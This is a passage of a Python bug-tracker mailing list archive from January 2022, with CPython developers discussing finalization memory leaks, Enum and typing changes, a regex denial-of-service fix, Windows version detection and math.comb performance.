<1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642897836.1.0.0742131325447.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: See also bpo-46476: Not all memory allocated by _Py_Quicken() is released at Python exit. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:31:09 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 23 Jan 2022 00:31:09 +0000 Subject: [issue45572] urllib.request:AttributeError: 'dict' object has no attribute 'get_all' in http_error_auth_reqed function In-Reply-To: <1634909734.24.0.124969342817.issue45572@roundup.psfhosted.org> Message-ID: <1642897869.7.0.491394314259.issue45572@roundup.psfhosted.org> Andrei Kulakov added the comment: I was wrong that the method is undocumented, it is documented but it doesn't explain the type of *headers* param. The headers can also be more easily created using `email.message.Message()`. I've added the PR documenting this param. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:37:08 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 00:37:08 +0000 Subject: [issue46477] Enum: ensure bitwise operators on subclasses are correct Message-ID: <1642898228.67.0.336074003438.issue46477@roundup.psfhosted.org> New submission from Ethan Furman : Creating one's own int Flag type doesn't work properly with regards to the bitwise operators: class MyIntFlag(int, Flag): ONE = 1 TWO = 2 FOUR = 4 MyIntFlag.ONE | MyIntFlag.TWO # MyIntFlag.ONE | 2 # 3 ---------- assignee: ethan.furman messages: 411319 nosy: ethan.furman priority: normal severity: normal status: open title: Enum: ensure bitwise operators on subclasses are correct type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:39:35 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 00:39:35 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642898375.37.0.902663956087.issue41682@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:49:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 00:49:39 +0000 Subject: [issue1471934] Python libcrypt build problem on Solaris 8, 9, 10 and OpenSolaris Message-ID: <1642898979.34.0.948976366239.issue1471934@roundup.psfhosted.org> Irit Katriel added the comment: Python 2.4 and 2.5 are no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:49:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 00:49:48 +0000 Subject: [issue1471934] Python libcrypt build problem on Solaris 8, 9, 10 and OpenSolaris Message-ID: <1642898988.26.0.0978263663278.issue1471934@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:52:29 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 00:52:29 +0000 Subject: [issue32007] deprecate the nis module In-Reply-To: <1510419983.02.0.213398074469.issue32007@psf.upfronthosting.co.za> Message-ID: <1642899149.64.0.408468210469.issue32007@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: nis module fails to build against glibc-2.26 -> deprecate the nis module type: compile error -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:52:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:52:34 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642899154.78.0.334954236435.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: Patch to disable _Py_Quicken(), to help me debugging other memory leaks at Python exit: diff --git a/Include/internal/pycore_code.h b/Include/internal/pycore_code.h index dfc75300315..f9cdefed2a2 100644 --- a/Include/internal/pycore_code.h +++ b/Include/internal/pycore_code.h @@ -146,12 +146,14 @@ int _Py_Quicken(PyCodeObject *code); static inline int _Py_IncrementCountAndMaybeQuicken(PyCodeObject *code) { +#if 0 if (code->co_warmup != 0) { code->co_warmup++; if (code->co_warmup == 0) { return _Py_Quicken(code) ? -1 : 1; } } +#endif return 0; } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:56:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:56:49 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642899409.69.0.101530350892.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29002 pull_request: https://github.com/python/cpython/pull/30815 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:57:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:57:40 +0000 Subject: [issue45572] urllib.request:AttributeError: 'dict' object has no attribute 'get_all' in http_error_auth_reqed function In-Reply-To: <1634909734.24.0.124969342817.issue45572@roundup.psfhosted.org> Message-ID: <1642899460.39.0.619668577854.issue45572@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:58:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:58:25 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642899505.0.0.619449760659.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 486b4d3d8e1a5699a2854e310c58fe12b220b7a9 by Miss Islington (bot) in branch '3.10': bpo-41682: Skip unstable test_asyncio sendfile test on Windows (GH-30801) (GH-30812) https://github.com/python/cpython/commit/486b4d3d8e1a5699a2854e310c58fe12b220b7a9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:59:44 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 00:59:44 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642899584.04.0.70665780238.issue46476@roundup.psfhosted.org> Guido van Rossum added the comment: If any of the immortal, deep-frozen code objects is ever quickened, I suppose the quickening data is never freed. But when we finalize and reinitialize, the co_quickened flag should remain set, so this would be a one-time leak. The question is whether the quickening cache points to any objects that *are* freed. If it does, that could be bad. If it doesn't, then all we lose is a fixed amount of memory (no further leaks if we finalize and initialize the runtime repeatedly). However, if my theory holds, why would valgrind consider the memory leaked? (TBH I don't know what valgrind does, so maybe that's not the right question.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:00:14 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 01:00:14 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1642899614.79.0.67375120825.issue46266@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f66ef3eab62c6d262ddbc8ab16fb43c8921ad33a by Miss Islington (bot) in branch '3.10': bpo-46266: Add calendar day of week constants to __all__ (GH-30412) (GH-30424) https://github.com/python/cpython/commit/f66ef3eab62c6d262ddbc8ab16fb43c8921ad33a ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:06:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 01:06:51 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1642900011.16.0.939742248842.issue46240@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue: the backport to 3.10 failed, PR 30390. Tests failed and there is now a merge conflict. Either decide to not backport the fix, or please update the backport. ---------- nosy: +vstinner resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:15:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 01:15:17 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642900517.59.0.23445233518.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: Maybe there should be a way to traverse all immortal code objects at Python exit and clear their PyCodeObject.co_quickened member (and maybe some other members). Would it be possible to enhance deepfreeze be produce a list of all (immortal) code objects? I did something similar for static types with _PyStaticType_Dealloc() in bpo-46417, but it's easy since the list of static type is known in advance and it's short (100 to 200 types). -- I'm working on fixing the very old bug bpo-1635741: Python must release all memory that it called in Py_Finalize(). It matters when Python is embedded in an application. It makes sense to call Py_Initialize()/Py_Finalize() multiple times in such use case. Python should not leak any memory. With my PR 30815 fix + my msg411321 workaround, "./python -I -X showrefcount -c pass" now says that Python leaks exactly *zero* memory block: so bpo-1635741 is basically fixed, for the simplest Python command ("pass"). Obviously, I expect that more work is needed for more complex workload, since there are other static types which are still not cleared at Python exit, and more C extension modules which are not ported to the multi-phase initialization API (PEP 489). Valgrind is just one way to see the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:17:02 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 01:17:02 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642900622.58.0.744997528557.issue46449@roundup.psfhosted.org> Guido van Rossum added the comment: > Is there a way to disable deepfreeze when building Python? It looks like this isn't easy, sorry. :-( Adding Christian Heimes in case he has a suggestion. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:19:35 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 01:19:35 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642900775.49.0.674786264871.issue46476@roundup.psfhosted.org> Guido van Rossum added the comment: > Would it be possible to enhance deepfreeze be produce a list of all (immortal) code objects? That should be simple. We could see if Kumar is interested. ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:20:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 01:20:59 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642900859.35.0.953921180584.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 976dec9b3b35fddbaa893c99297e0c54731451b5 by Victor Stinner in branch 'main': bpo-46417: _PyList_Fini() clears indexerr (GH-30815) https://github.com/python/cpython/commit/976dec9b3b35fddbaa893c99297e0c54731451b5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:22:43 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 01:22:43 +0000 Subject: [issue44642] Union of a type and the typing module function In-Reply-To: <1626335898.92.0.441498587725.issue44642@roundup.psfhosted.org> Message-ID: <1642900963.12.0.481616433228.issue44642@roundup.psfhosted.org> Guido van Rossum added the comment: Do you recommend to just close this as "fixed"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:39:52 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 01:39:52 +0000 Subject: [issue46477] Enum: ensure bitwise operators on subclasses are correct In-Reply-To: <1642898228.67.0.336074003438.issue46477@roundup.psfhosted.org> Message-ID: <1642901992.19.0.0552467541323.issue46477@roundup.psfhosted.org> Change by Ethan Furman : ---------- keywords: +patch pull_requests: +29003 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30816 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 20:51:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 01:51:01 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1642902661.62.0.450482017771.issue45382@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +29004 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30817 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:08:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 02:08:29 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1642903709.51.0.529595581059.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: I wrote PR 30817 to log "ver" and "wmic os get Caption,Version /value" command output in test.pythoninfo. I would like to check if Windows Server 2022 is deployed on CI used by Python :-) I'm trying to understand why bpo-41682 "[Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure" started to fail more often recently. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:22:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 02:22:48 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642904568.35.0.341857552463.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: > See also bpo-46476: Not all memory allocated by _Py_Quicken() is released at Python exit. If you apply my workaround for bpo-46476: https://bugs.python.org/issue46476#msg411321 Python no longer leaks any memory block at exit for the simplest command! $ ./python -I -X showrefcount -c pass [-5 refs, 0 blocks] Moreover, I modified deepfreeze to only freeze importlib._bootstrap and importlib._bootstrap_external. It confirms that bpo-46449 is causing the negative reference count, because with these additional local changes I get a positive _Py_RefTotal: $ ./python -I -X showrefcount -c pass [6 refs, 0 blocks] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:27:57 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 02:27:57 +0000 Subject: [issue46477] Enum: ensure bitwise operators on subclasses are correct In-Reply-To: <1642898228.67.0.336074003438.issue46477@roundup.psfhosted.org> Message-ID: <1642904877.59.0.791134316603.issue46477@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 353e3b2820bed38da16140276786eef9ba33d3bd by Ethan Furman in branch 'main': bpo-46477: [Enum] ensure Flag subclasses have correct bitwise methods (GH-30816) https://github.com/python/cpython/commit/353e3b2820bed38da16140276786eef9ba33d3bd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:30:16 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 23 Jan 2022 02:30:16 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1642905016.75.0.198682957741.issue46240@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29005 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30819 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:38:46 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 02:38:46 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642905526.02.0.00639435558016.issue46425@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset d888ff5381594641126065e78dc9210dae4436a4 by Jason R. Coombs in branch 'main': bpo-46425: Partially revert "bpo-46425: fix direct invocation of `test_importlib` (GH-30682)" (GH-30799) https://github.com/python/cpython/commit/d888ff5381594641126065e78dc9210dae4436a4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:39:03 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 02:39:03 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642905543.99.0.0166933835342.issue46474@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 443dec6c9a104386ee90165d32fb28d0c5d29043 by Jason R. Coombs in branch 'main': bpo-46474: Apply changes from importlib_metadata 4.10.0 (GH-30802) https://github.com/python/cpython/commit/443dec6c9a104386ee90165d32fb28d0c5d29043 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 21:54:16 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 02:54:16 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642906456.02.0.417646431721.issue41682@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29006 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30817 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:03:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 03:03:50 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1642907030.73.0.44074844534.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: New changeset b0898f4aa90d9397e23aef98a2d6b82445ee7455 by Victor Stinner in branch 'main': bpo-45382: test.pythoninfo logs more Windows versions (GH-30817) https://github.com/python/cpython/commit/b0898f4aa90d9397e23aef98a2d6b82445ee7455 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:10:40 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 23 Jan 2022 03:10:40 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1642907440.9.0.275049427108.issue46240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 633db1c4eb863a1340e45c353e36f2f8dcf5945c by Pablo Galindo Salgado in branch '3.10': [3.10] bpo-46240: Correct the error for unclosed parentheses when the tokenizer is not finished (GH-30378). (GH-30819) https://github.com/python/cpython/commit/633db1c4eb863a1340e45c353e36f2f8dcf5945c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:38:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 03:38:48 +0000 Subject: [issue46478] DirEntry.stat() of os.scandir() has no dir_fd parameter Message-ID: <1642909128.93.0.607023254036.issue46478@roundup.psfhosted.org> New submission from STINNER Victor : I read the Rust CVE-2022-21658 vulnerability of std::fs::remove_dir_all: https://blog.rust-lang.org/2022/01/20/cve-2022-21658.html It's a race condition if an attacker replaces a directory with a symlink while Rust is removing the parent directory, Rust follows the symlink rather than just removing the symlink. shutil._rmtree_safe_fd() uses os.scandir(). If entry.is_dir(follow_symlinks=False) is true, it calls entry.stat(follow_symlinks=False). It opens the directory as a file to remove the directory. It checks os.path.samestat(orig_st, os.fstat(dirfd)): if it's false, it raises an exception: try: # This can only happen if someone replaces # a directory with a symlink after the call to # os.scandir or stat.S_ISDIR above. raise OSError("Cannot call rmtree on a symbolic " "link") except OSError: onerror(os.path.islink, fullname, sys.exc_info()) I understand that this check is in place to detect the Rust CVE-2022-21658 vulnerability. I noticed that the first entry.is_dir(follow_symlinks=False) call does a stat() syscall, but it doesn't pass the directory file descriptor. It would be even safer to pass it, just in case if the parent directory has been modified in the meanwhile as well. ---------- components: Library (Lib) messages: 411338 nosy: serhiy.storchaka, vstinner priority: normal severity: normal status: open title: DirEntry.stat() of os.scandir() has no dir_fd parameter versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:43:01 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 03:43:01 +0000 Subject: [issue46478] DirEntry.stat() of os.scandir() has no dir_fd parameter In-Reply-To: <1642909128.93.0.607023254036.issue46478@roundup.psfhosted.org> Message-ID: <1642909381.35.0.825436892845.issue46478@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:45:57 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 03:45:57 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642909557.82.0.209916534958.issue46465@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:50:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 03:50:27 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1642909827.26.0.721598692266.issue46240@roundup.psfhosted.org> STINNER Victor added the comment: Ah, thanks for the backport :-) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 23:00:45 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 04:00:45 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642910445.66.0.232534485692.issue46474@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 51c3e28c8a163e58dc753765e3cc51d5a717e70d by Jason R. Coombs in branch 'main': bpo-46474: Avoid REDoS in EntryPoint.pattern (sync with importlib_metadata 4.10.1) (GH-30803) https://github.com/python/cpython/commit/51c3e28c8a163e58dc753765e3cc51d5a717e70d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 23:00:21 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 04:00:21 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642910421.94.0.846081734127.issue46476@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 23:29:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 04:29:57 +0000 Subject: [issue46478] DirEntry.stat() of os.scandir() has no dir_fd parameter In-Reply-To: <1642909128.93.0.607023254036.issue46478@roundup.psfhosted.org> Message-ID: <1642912197.13.0.368130058575.issue46478@roundup.psfhosted.org> STINNER Victor added the comment: Oh, I didn't test os.scandir() properly. If you pass a file descriptor to os.scandir(), it yields DirEntry entries with contains the directory FD. Ignore my request, Python works as expected :-D ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 23:37:58 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 04:37:58 +0000 Subject: [issue32007] deprecate the nis module In-Reply-To: <1510419983.02.0.213398074469.issue32007@psf.upfronthosting.co.za> Message-ID: <1642912678.64.0.0813296884617.issue32007@roundup.psfhosted.org> Jelle Zijlstra added the comment: PEP 549 lists nis among modules to be removed: https://www.python.org/dev/peps/pep-0594/#nis For what it's worth, when I built 3.11 from source on Ubuntu 16.04 I managed to build the nis extension, without installing any special libraries first. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:08:22 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 23 Jan 2022 05:08:22 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642914502.99.0.0626123055768.issue37295@roundup.psfhosted.org> Tim Peters added the comment: Ya, I don't expect anyone will check in a change without doing comparative timings in C first. Not worried about that. I'd be happy to declare victory and move on at this point ;-) But that's me. Near the start of this, I noted that we just won't compete with GMP's vast array of tricks. I noted that they use a special routine for division when it's known in advance that the remainder is 0 (as it is, e.g., in every division performed by "our" recursion (which GMP also uses, in some cases)). But I didn't let on just how much that can buy them. Under 3.10.1 on my box, the final division alone in math.factorial(1000000) // math.factorial(500000)**2 takes over 20 seconds. But a pure Python implementation of what I assume (don't know for sure) is the key idea(*) in their exact-division algorithm does the same thing in under 0.4 seconds. Huge difference - and while the pure Python version only ever wants the lower N bits of an NxN product, there's no real way to do that in pure Python except via throwing away the higher N bits of a double-width int product. In C, of course, the high half of the bits wouldn't be computed to begin with. (*) Modular arithmetic again. Given n and d such that it's known n = q*d for some integer q, shift n and d right until d is odd. q is unaffected. A good upper bound on the bit length of q is then n.bit_length() - d.bit_length() + 1. Do the remaining work modulo 2 raised to that power. Call that base B. We "merely" need to solve for q in the equation n = q*d (mod B). Because d is odd, I = pow(d, -1, B) exists. Just multiply both sides by I to get n * I = q (mod B). No divisions of any kind are needed. More, there's also a very efficient, division-free algorithm for finding an inverse modulo a power of 2. To start with, every odd int is its own inverse mod 8, so we start with 3 good bits. A modular Newton-like iteration can double the number of correct bits on each iteration. But I won't post code (unless someone asks) because I don't want to encourage anyone :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:15:50 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:15:50 +0000 Subject: [issue46479] Implement typing.reveal_locals Message-ID: <1642914950.74.0.308190454121.issue46479@roundup.psfhosted.org> New submission from Jelle Zijlstra : Implement typing.reveal_locals() as proposed in https://mail.python.org/archives/list/typing-sig at python.org/thread/5MGN6HZWTJELNLIUOXTHLIXVLKZCEWY2/. This is a marker for type checkers that causes them to emit the types of all local variables. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 411344 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Implement typing.reveal_locals type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:19:12 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:19:12 +0000 Subject: [issue46480] Implement typing.assert_type Message-ID: <1642915152.65.0.424582308271.issue46480@roundup.psfhosted.org> New submission from Jelle Zijlstra : Implement typing.assert_type as proposed in https://mail.python.org/archives/list/typing-sig at python.org/thread/MITFQ6Z45RRMXY3HNM66IC3XXS3TA3JN/. This is a special primitive that asserts to the type checker what the type of an expression is. Tentatively dropping assert_error() based on Eric's feedback. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 411345 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Implement typing.assert_type type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:20:23 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:20:23 +0000 Subject: [issue31698] Add REQ_NAME to the node.h API In-Reply-To: <1507177705.75.0.213398074469.issue31698@psf.upfronthosting.co.za> Message-ID: <1642915223.55.0.844519848438.issue31698@roundup.psfhosted.org> Jelle Zijlstra added the comment: The PR was closed for lack of interest. ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:20:43 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:20:43 +0000 Subject: [issue27219] turtle.fillcolor doesn't accept a tuple of floats In-Reply-To: <1465057740.31.0.354444599914.issue27219@psf.upfronthosting.co.za> Message-ID: <1642915243.63.0.627551283671.issue27219@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- assignee: Jelle Zijlstra -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:22:07 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:22:07 +0000 Subject: [issue46475] typing.Never and typing.assert_never In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1642915327.99.0.661559841304.issue46475@roundup.psfhosted.org> Jelle Zijlstra added the comment: Based on feedback here and on typing-sig I'm now leaning towards adding typing.Never along with typing.assert_never. I'll submit a single patch for these as the documentation will be closely linked. ---------- title: Document use of NoReturn as a bottom type -> typing.Never and typing.assert_never type: -> enhancement versions: -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:50:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 